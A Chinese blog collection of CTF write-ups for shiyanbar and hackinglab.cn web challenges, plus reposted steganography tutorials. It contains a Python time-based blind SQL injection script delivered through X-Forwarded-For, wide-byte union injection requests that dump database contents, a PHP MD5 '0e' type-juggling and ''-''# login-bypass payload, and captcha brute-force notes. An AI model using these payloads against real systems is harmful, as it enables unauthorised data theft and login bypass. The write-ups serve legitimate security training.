Classification:CTF

Classification (CTF)'s result:

实验吧ctf->web.whoareyou writeup

www.shiyanbar.com/ctf/1941 我要把攻击我的人都记录db中去!   一看题目,初步的想法就是记录访问ip到数据库,再打印返回。 明显就是有注入了。 接着就没思路了,看看高手们的writeup,额,时间盲注,没怎么玩过,真尴尬…… 由于是记录ip,所以想到请求头中和ip有关的字段如下: X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-addr 这里用Client-IP不行,接着尝试X-Forwarded-For成功伪造ip,关于X-Forwarded-For字段可以参考简谈X-Forwarded-For的一些事 还有如果有逗号则只保留逗号前面的内容,估计是取client。不影响盲注。 参考网上的脚本(来源:blog.csdn.net/qq_35078631/article/details/54773769): # -*- coding:utf-8 -*- import requests import string url = “http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess = string.lowercase+string.uppercase+string.digits+string.punctuation database=[] for database_number in range(0,100): #假设爆破前100个库 databasename=” for i in range(1,100): #爆破字符串长度,假设不超过100长度 flag=0 for str in guess: #爆破该位置的字符 #print ‘trying ‘,str headers = {“X-forwarded-for”:”‘+”+” (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)=’%s’) then sleep(5) else 1 end) and ‘1’=’1″%(database_number,i,str)} try: res=requests.get(url,headers=headers,timeout=4) except: databasename+=str flag=1 print ‘正在爆破第%d个数据库名,the databasename now is ‘%(database_number+1) ,databasename break if flag==0: break database.append(databasename) if i==1 and flag==0: print ‘扫描完成’ break for i in range(len(database)): print database[i] 稍微解释下sql语句的几个部分: SUBSTRING(str FROM pos FOR len): 从第pos个字符开始到len长的字符。   Case when then else end –简单Case函数CASE sex WHEN ‘1’ THEN ‘男’ WHEN ‘2’ THEN ‘女’ ELSE ‘其他’ END –Case搜索函数 CASE WHEN sex = ‘1’ THEN ‘男’ WHEN sex = ‘2’ THEN ‘女’ ELSE ‘其他’ END   limit offset连用 ① select * from table limit 2,1; //含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据 ② select * from table limit 2 offset 1; //含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条   同理根据位置查询出表名flag,列名flag(直接猜也行)。 最后查询flag内容(脚本来源:http://blog.csdn.net/qq_35078631/article/details/54773769) #-*-coding:utf-8-*- import requests import string url=”http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess=string.lowercase + string.uppercase + string.digits flag=”” for i in range(1,100): havetry=0 for str in guess: headers={“x-forwarded-for”:”‘ +(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(7) else 1 end ) and ‘1’=’1″……

hackinglab.cn系列->解密关.md5真的能碰撞嘛?

写writeup前先整理下php的隐式类型转换利用方法 1.“==“ //适用于所有版本的php “==”会在比较的时候进行类型转换再比较。 转换规则: 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行比较 例如: <?php $foo = 1 + “10.5”;                // $foo is float (11.5) $foo = 1 + “-1.3e3”;              // $foo is float (-1299) $foo = 1 + “bob-1.3e3”;           // $foo is integer (1) $foo = 1 + “bob3”;                // $foo is integer (1) $foo = 1 + “10 Small Pigs”;       // $foo is integer (11) $foo = 4 + “10.2 Little Piggies”; // $foo is float (14.2) $foo = “10.0 pigs ” + 1;          // $foo is float (11) $foo = “10.0 pigs ” + 1.0;        // $foo is float (11) ?> 0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。 再看看函数string md5 ( string $str [, bool $raw_output = false ] ) 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 为false和没有第二个参数时,为32位的16进制码 md5(‘240610708’) //0e462097431906509019562988736854.  =0x10【462097431906509019562988736854】次方 =0 md5(‘QNKCDZO’) //0e830400451993494058024219903391 转换后都成为了0的好多好多次方,都是0,所以 md5(‘240610708’)==md5(‘QNKCDZO’);   //True 即找到md5之后形成0e[0-9].*的hash串就可以绕过md5($password)==md5($rootadmin)这类的后台验证(前提是用户密码的md5也要是0e[0-9].*的hash串)。 ***** 类似的有: ”-”(0),”+”,”*”,”^” ”/1(0),”+0,”-0,”*0,”^0 除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-, bit操作符&,|,^,<< ,>>也有同样的效果 payload: ‘-”# 可以绕过类似:$query = “select * from user where user=’”.$_POST[“user”].”‘and password=’”.md5($_POST[“password”]).”‘”;的后台验证(前提是user值转换后是数值0才行,像12admin转换后是数值12就不能绕过) 避免‘ or ”=’被防火墙禁。 ***************************************************** 2. strcmp漏洞 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 期望类型是字符串类型 但是在5.3之前的php中,显示了报错的警告信息后,返回0,也就是判定其相等了 利用方式:传递数组……

hackinglab.cn系列->注入关.邂逅

今天打到注入关5,卡了好久,网上搜了一下发现原来注入点不在http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/?id=1,而在一个图片链接http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg,并且是宽字节注入。 注意点: 1.直接在浏览器中注入回显是图片错误,要在burpsuite中注入。 2.在butpsuite中注入时要url编码,如空格要写成%20。 历程: 1.爆当前库名: GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,database(),4%23 HTTP/1.1 得mydbs 2.爆表名: GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=0x6d79646273%20limit%200,1),4%23 HTTP/1.1 得article 同理爆第二个表得pic(flag在这个表中) 3.获取pic表所有列名 GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20column_name%20from%20information_schema.columns%20where%20table_name=0x706963%20limit%200,1),4%23 HTTP/1.1 得id 同理爆出picname,data ,text 4.获取picname列的数据 GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg?id=%df%27%20union%20select%201,2,(select%20picname%20from%20pic%20limit%202,1),4%23 得 输入图片名,不是flag…… 5.访问图片 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg getflag! =================================== 这题真是辛苦,竟然把注入点藏图片……  

hackinglab.cn系列->脚本关.微笑一下就能过关了

这题比较有趣,涉及data伪协议,php代码审计。 前置知识: 1.$_SERVER[‘QUERY_STRING’]:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=hi,a=hi就是QUERY_STRING。 2.data伪协议:data:[<MIME-type>][;charset=<encoding>][;base64],<data> 3.file_exists对data指向的内容判断为不存在 4.当key包含.或[]之类的符号,这些符号会被php转为_。 ************* php源码: <?php header(“Content-type: text/html; charset=utf-8”); if (isset($_GET[‘view-source’])) { show_source(__FILE__); exit(); } include(‘flag.php’); $smile = 1; if (!isset ($_GET[‘^_^’])) $smile = 0; if (preg_match (‘/\./’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/%/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/[0-9]/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/http/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/https/’, $_GET[‘^_^’]) ) $smile = 0; if (preg_match (‘/ftp/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/telnet/’, $_GET[‘^_^’])) $smile = 0; if (preg_match (‘/_/’, $_SERVER[‘QUERY_STRING’])) $smile = 0; if ($smile) { if (@file_exists ($_GET[‘^_^’])) $smile = 0; } if ($smile) { $smile = @file_get_contents ($_GET[‘^_^’]); if ($smile === “(●’◡’●)”) die($flag); } ?> 审计源码可得: 1.过滤了一些字符和协议. 2.QUREY_STRING过滤了_但是$_GET[‘^_^’]又含有_. 3.$_GET[‘^_^’]要不存在,但是可以file_get_contents读出是unicode的笑脸。 所以直接构造URL: lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php/?^.^=data://text/plain;charset=unicode,(●’◡’●) 得key: hkjasfhsa*&IUHKUH  

(转)CTF中图片隐藏文件分离方法总结

原文地址:http://www.tuicool.com/articles/VviyAfY 0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手 的综合信息安全能力有一个较好的考验,当然更好的是能从比赛有所收获,不断学习和总结提升自己的信息安全能力与技术。转到CTF比赛上,通常在CTF比赛 中常有与隐写术(Steganography)相关的题目出现,这里我们讨论总结图片隐藏文件分离的方法,欢迎大家补充和交流:P 0x01 分析 这里我们以图片为载体,给了这样的一样图片: 首先我们需要对图片进行分析,这里我们需要用到一个工具 binwalk ,想要了解这个工具可以参考这篇 Binwalk:后门(固件)分析利器 文章,以及 kali官方对binwalk的概述和使用介绍 。 这里我们就是最简单的利用,在binwalk后直接提供固件文件路径和文件名即可: # binwalk carter.jpg 当我们使用这行命令后,binwalk就会自动分析这个jpg文件: # binwalk carter.jpg DECIMAL HEXADECIMAL DESCRIPTION ——————————————————————————– 0 0x0 JPEG image data, JFIF standard 1.01 382 0x17E Copyright string: “Copyright (c) 1998 Hewlett-Packard Company” 3192 0xC78 TIFF image data, big-endian, offset of first image directory: 8 140147 0x22373 JPEG image data, JFIF standard 1.01 140177 0x22391 TIFF image data, big-endian, offset of first image directory: 8 从上面的内容显然看得出来这个jpg文件还隐藏着另一个jpg文件,从140147块偏移开始就是另一张jpg。 0x02 分离 在得到隐藏信息之后我们下一步就是把另一张jpg分离出,以下讨论几种方法: (1)使用dd命令分离(linux/unix下) 我们可以使用dd命令分离出隐藏文件: # dd if=carter.jpg of=carter-1.jpg skip=140147 bs=1 可以参考 dd命令详解 ,这里if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过140147个块后再开始复制,bs设置每次读写块的大小为1字节 。 最后我们可以得到这样的一张carter-1.jpg图片: (2)使用foremost工具分离 foremost是一个基于文件文件头和尾部信息以及文件的内建数据结构恢复文件的命令行工具,win可以下载地址,Linux可以 通过下面命令安装使用: # apt-get install foremost 安装foremost后你可以使用foremost -help查看使用帮助,这里最简单分离文件的命令为: # foremost carter.jpg 当我们使用这行命令后,foremost会自动生成output目录存放分离出文件: (3)hex编辑器分析文件 至于hex编辑器有很多,win下有用得较多的winhex,UltraEdit等,linux下有hexeditor等,这里我们以 winhex为例手动分离,在分离之前我们需要知道一点关于jpg文件格式的知识,jpg格式文件开始的2字节是图像开始SOI(Start of Image,SOI)为FF D8,之后2个字节是JFIF应用数据块APPO(JFIF application segment)为FF E0 ,最后2个字节是图像文件结束标记EOI(end-of-file)为FF D9 ,如果你想详细了解更多关于这方面的知识可以参考jpg文件格式分析一文。 用winhex打开图片,通过Alt+G快捷键输入偏移地址22373跳转到另一张jpg的图像开始块,可以看到FF D8图像开始块。 而图像结束块FF D9 选取使用Alt+1快捷键选取FF为开始的块,Alt+2选取D9为结束块,然后右键->Edit->Copy Block->Into New File保存相应的文件后缀,例如new.jpg 0x03 其他 还有一种特例,它是事先制作一个hide.zip,里面放入隐藏的文件,再需要一张jpg图片example.jpg,然后再通过命令 copy /b example.jpg+hide.zip output.jpg生成output.jpg的新文件,原理是利用了copy命令,将两个文件以二进制方式连接起来,正常的jpg文件结束标志是FF D9,而图片查看器会忽视jpg结束符之后的内容,所以我们附加的hide.zip就不会影响到图像的正常显示。(参考AppLeU0的 隐形术总结 ) 针对这种特例我们可以直接将jpg文件改为zip文件后缀(其他文件如rar文件也类似),就可以看到hide.zip压缩包里隐藏的文件。 比如当我们得到一张wh3r3_is_f14g.jpg文件: 当我们用winhex打开文件,发现wh3r3_is_f14g.jpg文件最后数据块不是FF D9 jpg文件的结束标志,而是zip文件的结束标志。 我们直接将文件改名为wh3r3_is_f14g.zip,打开得到flag.txt。 最后打开flag.txt得到flag。 0x03 后话 图片隐写方式有很多种,在此只介绍了这一种,如果以后有机会会写其他的图片隐写,如果对隐写感兴趣这里推荐一本机械工业出版社的《数据隐藏技术揭秘:破解多媒体、操作系统、移动设备和网络协议中的隐秘数据》,如果你不想购买实体书,可以 下载pdf版 。 这里我把所有图片打包了zip ,如果有需要自行下载吧: P Steganography_Pictures.zip

(转)隐写术总结

本文转自:http://bobao.360.cn/learning/detail/243.html 0x00 前言 之前还没有见到drops上有关于隐写术的总结,我之前对于隐写术比较有兴趣,感觉隐写术比较的好玩。所以就打算总结总结一些隐写术方面的东西。写的时候,可能会有错误的地方,请不吝赐教,谢谢。 本篇章中用到的隐写术的图片,都打包在了http://pan.baidu.com/s/1mg1Khw0,想去自己尝试一遍的话可以去下载。 最开始接触到隐写术,是看到一种叫做图种的东西,当时不懂,只说要另存为zip,然后解压出来就可以了,当时觉得特别神奇,就像发现了新大陆,然后就尝试了一下,发现可以用另存为zip的方式,用7z或者是winzip等工具打开,然后就可以看到福利了。 图1.png 后来才懂得了,先制作一个1.zip,把想要隐藏的东西放进去,再需要一张jpg图片2.jpg,然后就可以执行一个命令 copy /b 2.jpg+1.zip output.jpg。就可以得到一张图种,这是利用了copy命令,将两个文件已二进制方式连接起来,生成output.jpg的新文件。而在jpg 中,是有结束符的,16进制是FF D9,利用winhex可以看到正常的jpg结尾都是FF D9的,图片查看器会忽视jpg结束符之后的内容,所以我们附加的zip,自然也就不会影响到图像的正常显示。 图2.png 这种类型的隐写也是比较容易被发现的,如果发现是jpg图片的话,观察文件结束符之后的内容,查看是否附加的内容,正常图片都会是FF D9结尾的。还有一种方式来发现就是利用binwalk这个工具,在kali下自带的一个命令行工具。 图片3.png 利用binwalk可以自动化的分析图片中附加的其他的文件,其原理就是检索匹配文件头,常用的一些文件头都可以被发现,然后利用偏移可以配合winhex或者是dd分割出隐藏的部分。 0x01 修改数据 上面说到的隐藏方式,是利用了增加数据的方式,把数据直接增加在了jpg后面。还有另一类隐藏的方法,就是利用了修改数据的方式来隐藏自己传递的信息。 一种常见的方式是利用LSB来进行隐写,LSB也就是最低有效位 (Least Significant Bit)。原理就是图片中的像数一般是由三种颜色组成,即三原色,由这三种原色可以组成其他各种颜色,例如在PNG图片的储存中,每个颜色会有 8bit,LSB隐写就是修改了像数中的最低的1bit,在人眼看来是看不出来区别的,也把信息隐藏起来了。譬如我们想把’A’隐藏进来的话,如下图,就 可以把A转成16进制的0x61再转成二进制的01100001,再修改为红色通道的最低位为这些二进制串。 图4.png 图4.png 如果是要寻找这种LSB隐藏痕迹的话,有一个工具是个神器,可以来辅助我们进行分析。Stegsolve这个软件的下载地址是 http://www.caesum.com/handbook/Stegsolve.jar 打开之后,使用Stegsolve——Analyse——Frame Browser这个可以浏览三个颜色通道中的每一位,可以在红色通道的最低位,发现一个二维码,然后可以扫描得到结果。 图6.png 再解一下qrcode,用在线的就可以http://tool.chinaz.com/qrcode/,得到了flag{AppLeU0},如果是 隐写的使用了ascii的话,可以使用Stegsolve——Analyse——Data Extract来查看ascii码。 在这个过程中,我们要注意到,隐写的载体是PNG的格式,如果是像之前的jpg图片的话就是不行的,原因是jpg图片对像数进行了有损的压缩,你修 改的信息可能会被压缩的过程破坏。而PNG图片虽然也有压缩,但却是无损的压缩,这样子可以保持你修改的信息得到正确的表达,不至于丢失。BMP的图片也 是一样的,是没有经过压缩的,可以发现BMP图片是特别的大的,因为BMP把所有的像数都按原样储存,没有压缩的过程。 0x02 隐写与加密 我们先要区分一个概念,隐写术和加解密的区别。其实说起来很简单,加解密的话,就是会出现一些神秘的,可疑的字符串或者是数据之类的。而隐写术的 话,就是信息明明就在你的面前,你却对他视而不见。隐写术在CTF中出现时,常常会和加解密结合起来一起出现,或者是一些编码方式一起出现,以提高题目的 难度。 用一个ctf的题目作为例子吧,iscc2014中有一个题目,给了一个名为 此为gif图片.gif的文件,打开发现了报错。有的时候,会需要我们去修复图片,这对我们对于图片的文件结构要有了解。找到gif的文件格式,然后对照 这个破损的文件。Gif的图片格式文档可以查看这个链接,http://dev.gameres.com/Program/Visual/Other /GIFDoc.htm 图片8.png 用winhex打开,我们会发现他和普通的GIF图片不一样,头部缺少了东西,在对比一些文档,会发现是少了GIF8。 图片9.png 我们手动修复一下,增加GIF8。 图片10.png 然后浏览图片后会发现,有个PASSWORD一闪而过,gif和别的图片最大的区别就是gif是动态图,它是可以由多帧组成的可以顺序播放的,有的题就是把播放的时间弄得特别慢,几乎就不会动的,所以我们可以用工具一帧一帧的观察图片。Stegsolve就带有这种功能。 Stegsolve——Analyse——Frame Brower就可以看到是有8帧的图片,有点重叠不太好观察,也可以用Namo_GIF_gr这个工具。得到了PASSWORD is Y2F0Y2hfdGhlX2R5bmFtaWNfZmxhZ19pc19xdW10ZV9zaW1wbGU=。很明显,这个时候PASSWORD是经过 的编码的,我们可以看到字符范围是0-9a-Z结尾还有=,所以判断是base64编码,解码得到了 catch_the_dynamic_flag_is_qumte_simple。这个就是和编码方式结合,传递一些可疑的数据,隐写术常常会与加解密或 编码结合在一起,对一些常见的编码和加密方法也要了解,得到密文的字符范围和长度能发现这是什么加密或者是编码。 0x03 载体 数据在隐藏的时候,我们常常是需要先分析是数据隐藏在哪里,也就是他在利用是什么做载体,之后才可以进一步的分析是加密或编码的。这也就是说我们要 对一个图片的格式要有了解,才能知道哪些地方是可疑的,哪些是可以隐藏起信息的,会有冗余的成分在。举个例子吧,比如给了一个jpg的图片。除了我们之前 说到的隐藏在结束符之后的信息,jpg图片还可以把信息隐藏的exif的部分。exif的信息是jpg的头部插入了数码照片的信息,比如是用什么相机拍摄 的。这些信息我们也是可以控制的,用查看属性的方式可以修改一部分的信息,还可以用exif编辑器来进行编辑。Power_exif这个可以用来编辑。 图片11.png 可以看到flag{AppLeU0},就是需要了解隐藏信息的地方,隐写术有的时候难,就是难在了一张图片有太多的地方可以隐藏信息了,有的时候根本连隐藏的载体都找不到,在你的眼里他就是一张正常的图片。 0x04 编程辅助 有一些情况下,我们也是没有现成的工具来完成的,可以自己写一些简单的程序来辅助我们进行分析,或者是加解密。比如sctf的misc400的题目,就需要用到一些简单的编程。题目给出了一个png图片,需要我们找到有SCTF{}标志的flag。 这个题需要我们对于png图片的格式有一些了解,先用stegsolve查看一下,其他的LSB之类的并没有发现什么问题,然后看了一下结构发现,有一些异常的IDAT块。IDAT是png图片中储存图像像数数据的块。Png图片格式的扩展阅读可以看看这篇 http://www.cnblogs.com/fengyv/archive/2006/04/30/2423964.html 有详细的介绍。 图片12.png 可以用pngcheck来辅助我们观察,可以看得更加清晰。pngcheck.exe -v sctf.png 图片13.png 可以看到,正常的块的length是在65524的时候就满了,而倒数第二个IDAT块长度是45027,最后一个长度是138,很明显最后一个IDAT块是有问题的,因为他本来应该并入到倒数第二个未满的块里。 图片14.png 我们用winhex把这一部分异常的IDAT块给扣出来。然后就是要研究研究这个块是什么情况,发现了载体之后就是要想办法找出他的规律。观察那一 部分的数据,可以看到是16进制的78 9C开头的,百度一下分析是zlib压缩的标志。在png的百度百科里也可以查到PNG的IDAT是使用从LZ77派生的无损数据压缩算法,可以用 zlib解压。那么就尝试用zlib来解一下这段数据。Zlib的扩展阅读http://zlib.net/ 我们使用python来编程,先把那段数据处理一下,保存成16进制的。 图片15.png 得到16进制的以方便python处理,前面的4字节是长度 然后是标志位IDAT 然后开始是数据,直到 D9 CF A5 A8是crc32校验位。 所以实际的数据是: 然后用python来写zlib解压 1 2 3 4 5 6 7 8 #! /usr/bin/env python import zlib import binascii IDAT = “789C5D91011280400802BF04FFFF5C75294B5537738A21A27D1E49CFD17DB3937A92E7E603880A6D485100901FB0410153350DE83112EA2D51C54CE2E585B15A2FC78E8872F51C6FC1881882F93D372DEF78E665B0C36C529622A0A45588138833A170A2071DDCD18219DB8C0D465D8B6989719645ED9C11C36AE3ABDAEFCFC0ACF023E77C17C7897667”.decode(‘hex’) #print IDAT result = binascii.hexlify(zlib.decompress(IDAT)) print result #print result.decode(‘hex’) 发现解出来了一些3031的字符串,30和31是hex的 0和1的编码,再解一次hex得到一串625长度的01字符串。 得到的01 串的长度是625,除以8 除以7 都无法整除,也就是说没法直接转换成ascii码。 图片16.png 然后发现625 = 25*25,刚好是个正方形的形状,那么尝试一下 把这些01 组成一个正方形 看看是什么,可以用python的PIL编程可以很方便的画图,在kali自带就可以有,win的环境需要安装PIL的第三方库。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/env python import Image MAX = 25 pic = Image.new(“RGB”,(MAX, MAX)) str = “1111111000100001101111111100000101110010110100000110111010100000000010111011011101001000000001011101101110101110110100101110110000010101011011010000011111111010101010101111111000000001011101110000000011010011000001010011101101111010101001000011100000000000101000000001001001101000100111001111011100111100001110111110001100101000110011100001010100011010001111010110000010100010110000011011101100100001110011100100001011111110100000000110101001000111101111111011100001101011011100000100001100110001111010111010001101001111100001011101011000111010011100101110100100111011011000110000010110001101000110001111111011010110111011011” i=0 for y in range (0,MAX):     for x in range (0,MAX):         if(str[i] == ‘1’):             pic.putpixel([x,y],(0, 0, 0))         else:             pic.putpixel([x,y],(255,255,255))         i = i+1 pic.show() pic.save(“flag.png”) 发现是一个二维码 可以编码来画出 0代表了是白色 而1代表了黑色,然后可能会需要旋转来调整一下,才能扫描出来。处理一下得到了一个二维码。然后扫描得到了flag。 图片17.png 图片18.png SCTF{(121.518549,25.040854)},成功得到了flag。 在有的情况下,是没法用现成的工具来处理的,所以就要我们用编程来设法解决。Python的PIL是个好东西。批量处理图片的时候可能会需要它。 0x05 双图 还有一种情况是比较特殊的,有的时候会给出两张图片,或者是需要你去寻找原来的图片来进行对比寻找隐藏的信息。这个一般是因为一张图片给出来的隐藏……

hackinglab.cn系列->脚本关.逗比验证码系列

逗比验证码第一期: 思路:经测算验证码输入一次后可以填写多次密码而不用重新填验证码,直接爆破 上神器:   逗比验证码第二期: 思路:验证码只能用一次了,但是可以先请求一次得到pwd error,然后验证码去掉(不填),再去请求,发现可以得到pwd error而不是vcode error,又到爆破   逗比验证码第三期: 这个感觉没有变动啊,还是和第二期一样就可以了,好像没session啥事……      

hackinglab.cn系列->脚本关.快速口算

思路:由于要在2秒内提交,那可以用脚本提交就ok了 步骤: 1.先get到算式 2.post结果 3.取得提交后的页面内容(有key) 脚本: import requests import re url = ‘http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php’ header = {‘Cookie’: ‘PHPSESSID=yourcookie’} req = requests.get(url, headers = header).content.decode(‘utf-8’) result = re.search(“(.*)=<input”, req) data = {‘v’: str(eval(result.group(1)))} req1 = requests.post(url, headers=header, data=data).content.decode(‘utf-8’) result1 = re.search(“<body>(.*)</body>”, req1) print(result1.group(1))